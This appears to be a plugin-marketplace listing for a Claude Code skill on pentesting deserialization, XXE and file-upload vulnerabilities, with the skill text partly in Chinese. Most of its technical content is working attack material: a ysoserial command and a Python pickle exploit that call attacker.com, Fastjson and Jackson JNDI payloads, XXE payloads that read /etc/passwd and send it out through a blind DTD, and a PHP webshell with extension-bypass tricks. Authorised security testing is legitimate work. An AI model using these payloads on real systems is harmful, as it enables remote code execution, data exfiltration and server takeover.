/vuln-skills:pentest-deserialization-xxefrom vuln-skills
Guides penetration testing of deserialization (Java/Python/.NET/PHP/Ruby), XXE, and dangerous file upload vulnerabilities with exploitation techniques and detection checklists.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行反序列化和 XXE 渗透测试时加载此 Skill。覆盖 Java/Python/.NET 反序列化、XML 外部实体注入、危险文件上传等。
反序列化入口:
ObjectInputStream、JSON 库(Jackson enableDefaultTyping、Fastjson @type)pickle.loads()、yaml.load()(不安全的 Loader)BinaryFormatter、XmlSerializer、ViewStateunserialize()、Phar 反序列化Marshal.load()、YAML Psych.load()(Krewe/Rails)XXE 入口:
危险文件上传:
shell.php.jpgJava 反序列化:
# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin
# 常用 Gadget Chain
CommonsCollections1-7 # Apache Commons Collections
Spring1-4 # Spring Framework
Hibernate1 # Hibernate ORM
JRMPClient # 远程类加载
# 检测:发送序列化魔术字节 (0xACED0005) 到可疑端点
Fastjson/Jackson 反序列化:
// Fastjson @type 注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}
// Jackson enableDefaultTyping
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}]
Python 反序列化:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("curl attacker.com",))
payload = pickle.dumps(Exploit())
XXE 攻击:
<!-- 基础 XXE(文件读取) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Blind XXE(OOB 数据外传) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;"> -->
<!-- SSRF via XXE -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
危险文件上传利用:
# 扩展名绕过
shell.php5, shell.phtml, shell.pHp # PHP 变体
shell.jsp, shell.jspx, shell.jspa # Java 变体
shell.aspx, shell.ashx, shell.asmx # .NET 变体
# 内容类型绕过
Content-Type: image/jpeg # 但文件内容是 PHP webshell
# 双扩展名
shell.php.jpg # Apache 可能仍解析为 PHP
shell.jpg.php # 真实扩展名在最后
# Magic bytes + webshell
GIF89a<?php system($_GET['cmd']); ?> # GIF magic header + PHP
0xACED 开头的序列化数据漏洞利用可达到的效果:
严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
/daip/messagebroker/amf endpoint. Successful exploitation could allow an attac...What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
deserialization, xxe, file-upload, penetration-testing, web-security
npx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skills26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-Other plugins' skills for the same job